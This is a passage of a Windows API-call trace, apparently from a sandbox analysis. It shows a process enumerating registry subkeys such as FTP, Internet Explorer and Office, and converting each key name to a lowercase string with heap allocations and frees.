lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.695] RegEnumKeyW (in: hKey=0x120, dwIndex=0xb, lpName=0x289d18, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x23fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.695] RegEnumKeyW (in: hKey=0x120, dwIndex=0xc, lpName=0x289d18, cchName=0x104 | out: lpName="FTP") returned 0x0 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.695] RegEnumKeyW (in: hKey=0x120, dwIndex=0xd, lpName=0x289d18, cchName=0x104 | out: lpName="GDIPlus") returned 0x0 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gdiplus", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gdiplus", lpUsedDefaultChar=0x0) returned 7 [0247.695] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.695] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.695] RegEnumKeyW (in: hKey=0x120, dwIndex=0xe, lpName=0x289d18, cchName=0x104 | out: lpName="IAM") returned 0x0 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iam", cchWideChar=3, lpMultiByteStr=0x23fc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iam", lpUsedDefaultChar=0x0) returned 3 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.696] RegEnumKeyW (in: hKey=0x120, dwIndex=0xf, lpName=0x289d18, cchName=0x104 | out: lpName="IME") returned 0x0 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.696] RegEnumKeyW (in: hKey=0x120, dwIndex=0x10, lpName=0x289d18, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x23fc240, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.696] RegEnumKeyW (in: hKey=0x120, dwIndex=0x11, lpName=0x289d18, cchName=0x104 | out: lpName="IMEMIP") returned 0x0 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imemip", cchWideChar=6, lpMultiByteStr=0x23fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imemip", lpUsedDefaultChar=0x0) returned 6 [0247.696] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.696] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.697] RegEnumKeyW (in: hKey=0x120, dwIndex=0x12, lpName=0x289d18, cchName=0x104 | out: lpName="Internet Connection Wizard") returned 0x0 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet connection wizard", cchWideChar=26, lpMultiByteStr=0x23fc240, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet connection wizard", lpUsedDefaultChar=0x0) returned 26 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.697] RegEnumKeyW (in: hKey=0x120, dwIndex=0x13, lpName=0x289d18, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.697] RegEnumKeyW (in: hKey=0x120, dwIndex=0x14, lpName=0x289d18, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x23fc240, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.697] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.697] RegEnumKeyW (in: hKey=0x120, dwIndex=0x15, lpName=0x289d18, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.697] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.698] RegEnumKeyW (in: hKey=0x120, dwIndex=0x16, lpName=0x289d18, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x23fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.698] RegEnumKeyW (in: hKey=0x120, dwIndex=0x17, lpName=0x289d18, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.698] RegEnumKeyW (in: hKey=0x120, dwIndex=0x18, lpName=0x289d18, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x23fc240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.698] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.698] RegEnumKeyW (in: hKey=0x120, dwIndex=0x19, lpName=0x289d18, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0247.698] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x23fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.699] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1a, lpName=0x289d18, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x23fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.699] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1b, lpName=0x289d18, cchName=0x104 | out: lpName="MSF") returned 0x0 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.699] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1c, lpName=0x289d18, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x23fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0247.699] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.699] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.699] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1d, lpName=0x289d18, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.700] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1e, lpName=0x289d18, cchName=0x104 | out: lpName="Office") returned 0x0 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc240 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x23fc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc240) returned 1 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.700] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.700] RegEnumKeyW (in: hKey=0x120, dwIndex=0x1f, lpName=0x289d18, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0247.700] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 